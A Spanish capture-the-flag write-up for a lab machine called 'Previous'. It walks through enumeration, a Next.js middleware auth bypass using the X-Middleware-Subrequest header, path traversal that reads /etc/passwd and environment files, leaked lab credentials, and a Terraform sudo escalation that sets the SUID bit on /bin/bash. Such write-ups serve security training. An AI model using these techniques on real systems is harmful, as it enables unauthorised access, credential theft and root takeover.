Previous (Medium)
root@SynAckLabs:~# ./show_index.sh
Resumen
Write-up de la máquina Previous (Medium). Incluye enumeración API, Auth bypass, Local File Inclusion, exfiltración de credenciales y uso del binario Terraform para escalar privilegios.

Enumeración
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0Vq
| 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to
http://previous.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP (Puerto 80)

Durante la navegación inicial aparece:
- Contacto:
jeremy@previous.htb - Rutas visibles: GET STARTED y DOCS:
/api/auth/signin?callbackUrl=%2Fdocs
Descubrimiento de rutas
Se enumeraron endpoints con dirsearch y la mayoría redirigían a /api/auth/signin?callbackUrl=....
dirsearch -u previous.htb
[12:58:32] 307 - 35B - /api -> /api/auth/signin?callbackUrl=%2Fapi
[12:58:32] 307 - 39B - /api.log -> /api/auth/signin?callbackUrl=%2Fapi.log
[12:58:32] 307 - 39B - /api-doc -> /api/auth/signin?callbackUrl=%2Fapi-doc
[12:58:32] 307 - 38B - /
api.py
-> /api/auth/signin?callbackUrl=%
2Fapi.py
[12:58:32] 307 - 39B - /api.php -> /api/auth/signin?callbackUrl=%2Fapi.php
[12:58:32] 307 - 40B - /api-docs -> /api/auth/signin?callbackUrl=%2Fapi-docs
[12:58:32] 307 - 44B - /api/config -> /api/auth/signin?callbackUrl=%2Fapi%2Fconfig
[12:58:32] 307 - 60B - /api/apidocs/swagger.json -> /api/auth/signin?callbackUrl=%2Fapi%2Fapidocs%2Fswagger.json
[12:58:32] 307 - 60B - /api/2/issue/createmeta -> /api/auth/signin?callbackUrl=%2Fapi%2F2%2Fissue%2Fcreatemeta
[12:58:32] 307 - 41B - /api/api -> /api/auth/signin?callbackUrl=%2Fapi%2Fapi
[12:58:32] 307 - 48B - /api/index.html -> /api/auth/signin?callbackUrl=%2Fapi%2Findex.html
[12:58:32] 307 - 52B - /api/cask/graphql -> /api/auth/signin?callbackUrl=%2Fapi%2Fcask%2Fgraphql
[12:58:32] 307 - 46B - /api/api-docs -> /api/auth/signin?callbackUrl=%2Fapi%2Fapi-docs
[12:58:32] 307 - 42B - /api/docs -> /api/auth/signin?callbackUrl=%2Fapi%2Fdocs
[12:58:32] 307 - 45B - /api/profile -> /api/auth/signin?callbackUrl=%2Fapi%2Fprofile
[12:58:32] 307 - 43B - /api/batch -> /api/auth/signin?callbackUrl=%2Fapi%2Fbatch
[12:58:32] 307 - 50B - /api/swagger.json -> /api/auth/signin?callbackUrl=%2Fapi%2Fswagger.json
[12:58:32] 307 - 54B - /api/application.wadl -> /api/auth/signin?callbackUrl=%2Fapi%2Fapplication.wadl
[12:58:32] 307 - 44B - /api/jsonws -> /api/auth/signin?callbackUrl=%2Fapi%2Fjsonws
[12:58:32] 307 - 48B - /api/login.json -> /api/auth/signin?callbackUrl=%2Fapi%2Flogin.json
[12:58:32] 307 - 57B - /api/spec/swagger.json -> /api/auth/signin?callbackUrl=%2Fapi%2Fspec%2Fswagger.json
[12:58:32] 307 - 47B - /api/snapshots -> /api/auth/signin?callbackUrl=%2Fapi%2Fsnapshots
[12:58:32] 307 - 47B - /api/error_log -> /api/auth/signin?callbackUrl=%2Fapi%2Ferror_log
[12:58:32] 307 - 43B - /api/proxy -> /api/auth/signin?callbackUrl=%2Fapi%2Fproxy
[12:58:32] 307 - 45B - /api/swagger -> /api/auth/signin?callbackUrl=%2Fapi%2Fswagger
[12:58:32] 307 - 53B - /api/swagger-ui.html -> /api/auth/signin?callbackUrl=%2Fapi%2Fswagger-ui.html
[12:58:32] 307 - 50B - /api/swagger.yaml -> /api/auth/signin?callbackUrl=%2Fapi%2Fswagger.yaml
[12:58:32] 307 - 53B - /api/jsonws/invoke -> /api/auth/signin?callbackUrl=%2Fapi%2Fjsonws%2Finvoke
[12:58:32] 307 - 45B - /api/apidocs -> /api/auth/signin?callbackUrl=%2Fapi%2Fapidocs
[12:58:32] 307 - 73B - /api/package_search/v4/documentation -> /api/auth/signin?callbackUrl=%2Fapi%2Fpackage_search%2Fv4%2Fdocumentation
[12:58:32] 307 - 58B - /api/swagger/index.html -> /api/auth/signin?callbackUrl=%2Fapi%2Fswagger%2Findex.html
[12:58:32] 307 - 55B - /api/swagger/swagger -> /api/auth/signin?callbackUrl=%2Fapi%2Fswagger%2Fswagger
[12:58:32] 307 - 49B - /api/swagger.yml -> /api/auth/signin?callbackUrl=%2Fapi%2Fswagger.yml
[12:58:32] 307 - 67B - /api/swagger/static/index.html -> /api/auth/signin?callbackUrl=%2Fapi%2Fswagger%2Fstatic%2Findex.html
[12:58:32] 307 - 58B - /api/swagger/ui/index -> /api/auth/signin?callbackUrl=%2Fapi%2Fswagger%2Fui%2Findex
[12:58:32] 307 - 52B - /api/timelion/run -> /api/auth/signin?callbackUrl=%2Fapi%2Ftimelion%2Frun
[12:58:32] 307 - 40B - /api/v1 -> /api/auth/signin?callbackUrl=%2Fapi%2Fv1
[12:58:32] 307 - 55B - /api/v1/swagger.yaml -> /api/auth/signin?callbackUrl=%2Fapi%2Fv1%2Fswagger.yaml
[12:58:32] 307 - 40B - /api/v3 -> /api/auth/signin?callbackUrl=%2Fapi%2Fv3
[12:58:32] 307 - 55B - /api/v1/swagger.json -> /api/auth/signin?callbackUrl=%2Fapi%2Fv1%2Fswagger.json
[12:58:32] 307 - 40B - /api/v4 -> /api/auth/signin?callbackUrl=%2Fapi%2Fv4
[12:58:32] 307 - 74B - /api/vendor/phpunit/phpunit/phpunit -> /api/auth/signin?callbackUrl=%2Fapi%2Fvendor%2Fphpunit%2Fphpunit%2Fphpunit
[12:58:32] 307 - 45B - /api/version -> /api/auth/signin?callbackUrl=%2Fapi%2Fversion
[12:58:32] 307 - 40B - /api/v2 -> /api/auth/signin?callbackUrl=%2Fapi%2Fv2
[12:58:32] 307 - 62B - /api/v2/helpdesk/discover -> /api/auth/signin?callbackUrl=%2Fapi%2Fv2%2Fhelpdesk%2Fdiscover
[12:58:32] 307 - 55B - /api/v2/swagger.yaml -> /api/auth/signin?callbackUrl=%2Fapi%2Fv2%2Fswagger.yaml
[12:58:32] 307 - 55B - /api/v2/swagger.json -> /api/auth/signin?callbackUrl=%2Fapi%2Fv2%2Fswagger.json
[12:58:32] 307 - 39B - /apidocs -> /api/auth/signin?callbackUrl=%2Fapidocs
[12:58:32] 307 - 57B - /apiserver-aggregator.cert -> /api/auth/signin?callbackUrl=%2Fapiserver-aggregator.cert
[12:58:32] 307 - 49B - /apiserver-key.pem -> /api/auth/signin?callbackUrl=%2Fapiserver-key.pem
[12:58:32] 307 - 52B - /apiserver-client.crt -> /api/auth/signin?callbackUrl=%2Fapiserver-client.crt
[12:58:32] 307 - 44B - /apibuild.pyc -> /api/auth/signin?callbackUrl=%2Fapibuild.pyc
[12:58:32] 307 - 56B - /apiserver-aggregator.key -> /api/auth/signin?callbackUrl=%2Fapiserver-aggregator.key
[12:58:32] 307 - 44B - /api/whoami -> /api/auth/signin?callbackUrl=%2Fapi%2Fwhoami
[12:58:32] 307 - 60B - /apiserver-aggregator-ca.cert -> /api/auth/signin?callbackUrl=%2Fapiserver-aggregator-ca.cert
[12:58:32] 307 - 38B - /apidoc -> /api/auth/signin?callbackUrl=%2Fapidoc
[12:58:32] 307 - 36B - /apis -> /api/auth/signin?callbackUrl=%2Fapis
[12:58:33] 308 - 19B - /axis//happyaxis.jsp -> /axis/happyaxis.jsp
[12:58:33] 308 - 30B - /axis2//axis2-web/HappyAxis.jsp -> /axis2/axis2-web/HappyAxis.jsp
[12:58:33] 308 - 24B - /axis2-web//HappyAxis.jsp -> /axis2-web/HappyAxis.jsp
[12:58:36] 308 - 52B - /Citrix//AccessPlatform/auth/clientscripts/cookies.js -> /Citrix/AccessPlatform/auth/clientscripts/cookies.js
[12:58:40] 307 - 53B - /docs/CHANGELOG.html -> /api/auth/signin?callbackUrl=%2Fdocs%2FCHANGELOG.html
[12:58:40] 307 - 41B - /docs.json -> /api/auth/signin?callbackUrl=%2Fdocs.json
[12:58:40] 307 - 36B - /docs -> /api/auth/signin?callbackUrl=%2Fdocs
[12:58:40] 307 - 52B - /docs/changelog.txt -> /api/auth/signin?callbackUrl=%2Fdocs%2Fchangelog.txt
[12:58:40] 307 - 54B - /docs/export-demo.xml -> /api/auth/signin?callbackUrl=%2Fdocs%2Fexport-demo.xml
[12:58:40] 307 - 66B - /docs/html/admin/ch03s07.html -> /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fadmin%2Fch03s07.html
[12:58:40] 307 - 38B - /docs51 -> /api/auth/signin?callbackUrl=%2Fdocs51
[12:58:40] 307 - 51B - /docs/swagger.json -> /api/auth/signin?callbackUrl=%2Fdocs%2Fswagger.json
[12:58:40] 307 - 67B - /docs/html/developer/ch02.html -> /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fdeveloper%2Fch02.html
[12:58:40] 307 - 54B - /docs/maintenance.txt -> /api/auth/signin?callbackUrl=%2Fdocs%2Fmaintenance.txt
[12:58:40] 307 - 70B - /docs/html/developer/ch03s15.html -> /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fdeveloper%2Fch03s15.html
[12:58:40] 307 - 56B - /docs/html/index.html -> /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Findex.html
[12:58:40] 307 - 63B - /docs/html/admin/ch01.html -> /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fadmin%2Fch01.html
[12:58:40] 307 - 66B - /docs/html/admin/ch01s04.html -> /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fadmin%2Fch01s04.html
[12:58:40] 307 - 64B - /docs/html/admin/index.html -> /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fadmin%2Findex.html
[12:58:40] 307 - 51B - /docs/updating.txt -> /api/auth/signin?callbackUrl=%2Fdocs%2Fupdating.txt
[12:58:41] 308 - 39B - /engine/classes/swfupload//swfupload.swf -> /engine/classes/swfupload/swfupload.swf
[12:58:41] 308 - 42B - /engine/classes/swfupload//swfupload_f9.swf -> /engine/classes/swfupload/swfupload_f9.swf
[12:58:43] 308 - 27B - /extjs/resources//charts.swf -> /extjs/resources/charts.swf
[12:58:47] 308 - 37B - /html/js/misc/swfupload//swfupload.swf -> /html/js/misc/swfupload/swfupload.swf
[12:59:03] 200 - 3KB - /signin
Auth Bypass (Next.js / middleware)
A partir de Wappalyzer se identificó una versión vulnerable a Auth Bypass.

La técnica consistía en añadir un encabezado específico a la request.

Con el bypass, se siguieron enumerando rutas.

Aparece un endpoint interesante: /api/download.
/api/download → LFI
Se hizo fuzzing del parámetro y aparece el nombre example.

Probando el endpoint con curl se observa un comportamiento de descarga.

A partir de ahí se prueba un LFI sobre el parámetro.
┌──(kali㉿kali)-[~]
└─$ curl
http://previous.htb/api/download?example=../../../etc/passwd
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" -v
* Host previous.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.83
* Trying 10.10.11.83:80...
* Connected to previous.htb (10.10.11.83) port 80
* using HTTP/1.x
> GET /api/download?example=../../../etc/passwd HTTP/1.1
> Host: previous.htb
> User-Agent: curl/8.13.0
> Accept: */*
> X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Tue, 30 Sep 2025 11:33:47 GMT
< Content-Type: application/zip
< Content-Length: 787
< Connection: keep-alive
< Content-Disposition: attachment; filename="passwd"
< ETag: "41amqg1v4m26j"
<
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
* Connection #0 to host previous.htb left intact
Variables de entorno
Se revisó /proc/self/environ.
┌──(kali㉿kali)-[~]
└─$ curl
http://previous.htb/api/download?example=../../../../proc/self/environ
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" -v --output env
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Host previous.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.83
* Trying 10.10.11.83:80...
* Connected to previous.htb (10.10.11.83) port 80
* using HTTP/1.x
> GET /api/download?example=../../../../proc/self/environ HTTP/1.1
> Host: previous.htb
> User-Agent: curl/8.13.0
> Accept: */*
> X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Tue, 30 Sep 2025 11:37:25 GMT
< Content-Type: application/zip
< Content-Length: 216
< Connection: keep-alive
< Content-Disposition: attachment; filename="environ"
< ETag: "151dqoq1n56jy"
<
{ [216 bytes data]
100 216 100 216 0 0 517 0 --:--:-- --:--:-- --:--:-- 519
* Connection #0 to host previous.htb left intact
NODE_VERSION=18.20.8
HOSTNAME=0.0.0.0
YARN_VERSION=1.22.22
SHLVL=1
PORT=3000
HOME=/home/nextjs
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NEXT_TELEMETRY_DISABLED=1
PWD=/app
NODE_ENV=production
Búsqueda en /app (Next.js)
Con el LFI se fue explorando el directorio de la aplicación.



Se localizó:
NEXTAUTH_SECRET:82a464f1c3509a81d5c973c31a23c61a
Además, se obtuvo un fichero app con configuración/rutas de Next.js:
──(kali㉿kali)-[~]
└─$ cat app
{
"version": 3,
"pages404": true,
"caseSensitive": false,
"basePath": "",
"redirects": [
{
"source": "/:path+/",
"destination": "/:path+",
"internal": true,
"statusCode": 308,
"regex": "^(?:/((?:[^/]+?)(?:/(?:[^/]+?))*))/$"
}
],
"headers": [],
"dynamicRoutes": [
{
"page": "/api/auth/[...nextauth]",
"regex": "^/api/auth/(.+?)(?:/)?$",
"routeKeys": {
"nxtPnextauth": "nxtPnextauth"
},
"namedRegex": "^/api/auth/(?<nxtPnextauth>.+?)(?:/)?$"
},
{
"page": "/docs/[section]",
"regex": "^/docs/([^/]+?)(?:/)?$",
"routeKeys": {
"nxtPsection": "nxtPsection"
},
"namedRegex": "^/docs/(?<nxtPsection>[^/]+?)(?:/)?$"
}
],
"staticRoutes": [
{
"page": "/",
"regex": "^/(?:/)?$",
"routeKeys": {},
"namedRegex": "^/(?:/)?$"
},
{
"page": "/docs",
"regex": "^/docs(?:/)?$",
"routeKeys": {},
"namedRegex": "^/docs(?:/)?$"
},
{
"page": "/docs/components/layout",
"regex": "^/docs/components/layout(?:/)?$",
"routeKeys": {},
"namedRegex": "^/docs/components/layout(?:/)?$"
},
{
"page": "/docs/components/sidebar",
"regex": "^/docs/components/sidebar(?:/)?$",
"routeKeys": {},
"namedRegex": "^/docs/components/sidebar(?:/)?$"
},
{
"page": "/docs/content/examples",
"regex": "^/docs/content/examples(?:/)?$",
"routeKeys": {},
"namedRegex": "^/docs/content/examples(?:/)?$"
},
{
"page": "/docs/content/getting-started",
"regex": "^/docs/content/getting\-started(?:/)?$",
"routeKeys": {},
"namedRegex": "^/docs/content/getting\-started(?:/)?$"
},
{
"page": "/signin",
"regex": "^/signin(?:/)?$",
"routeKeys": {},
"namedRegex": "^/signin(?:/)?$"
}
],
"dataRoutes": [],
"rsc": {
"header": "RSC",
"varyHeader": "RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch",
"prefetchHeader": "Next-Router-Prefetch",
"didPostponeHeader": "x-nextjs-postponed",
"contentTypeHeader": "text/x-component",
"suffix": ".rsc",
"prefetchSuffix": ".prefetch.rsc",
"prefetchSegmentHeader": "Next-Router-Segment-Prefetch",
"prefetchSegmentSuffix": ".segment.rsc",
"prefetchSegmentDirSuffix": ".segments"
},
"rewriteHeaders": {
"pathHeader": "x-nextjs-rewritten-path",
"queryHeader": "x-nextjs-rewritten-query"
},
"rewrites": []
}
Credenciales → SSH
Se consultó /app/.next/server/pages/api/auth/[...nextauth].

De ahí salieron credenciales:
jeremy:MyNameIsJeremyAndILovePancakes
Con esas credenciales se obtuvo acceso por SSH.

Escalada de privilegios (Terraform con sudo)
Privilege Escalation PoC: Terraform sudo Exploit
- Restricción parcial de sudo
- El usuario
jeremyno tiene acceso total asudo. Sólo puede ejecutarterraformcon super privilegios.
- El usuario
- Comportamiento de Terraform
- Terraform puede cargar proveedores/plugins.
- Con
TF_CLI_CONFIG_FILEse puede apuntar a una configuración de CLI que definadev_overrides.
- Idea del abuso
- Si Terraform, ejecutándose como root vía
sudo, carga un proveedor desde una ruta controlada por el usuario, ese binario se ejecuta con privilegios elevados.
- Si Terraform, ejecutándose como root vía
PoC
jeremy@previous:/opt/examples$ # 1) Crea el "proveedor" con el nombre que Terraform está buscando
cat > /tmp/terraform-provider-examples <<'EOF'
#!/bin/bash
chmod u+s /bin/bash >/tmp/pwn-log 2>&1
EOF
chmod +x /tmp/terraform-provider-examples
# 2) Asegúrate del TF_CLI_CONFIG_FILE correcto
cat > /tmp/dev.tfrc <<'EOF'
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/tmp"
}
direct {}
}
EOF
export TF_CLI_CONFIG_FILE=/tmp/dev.tfrc
sudo /usr/bin/terraform -chdir=/opt/examples apply
ls -la /bin/bash
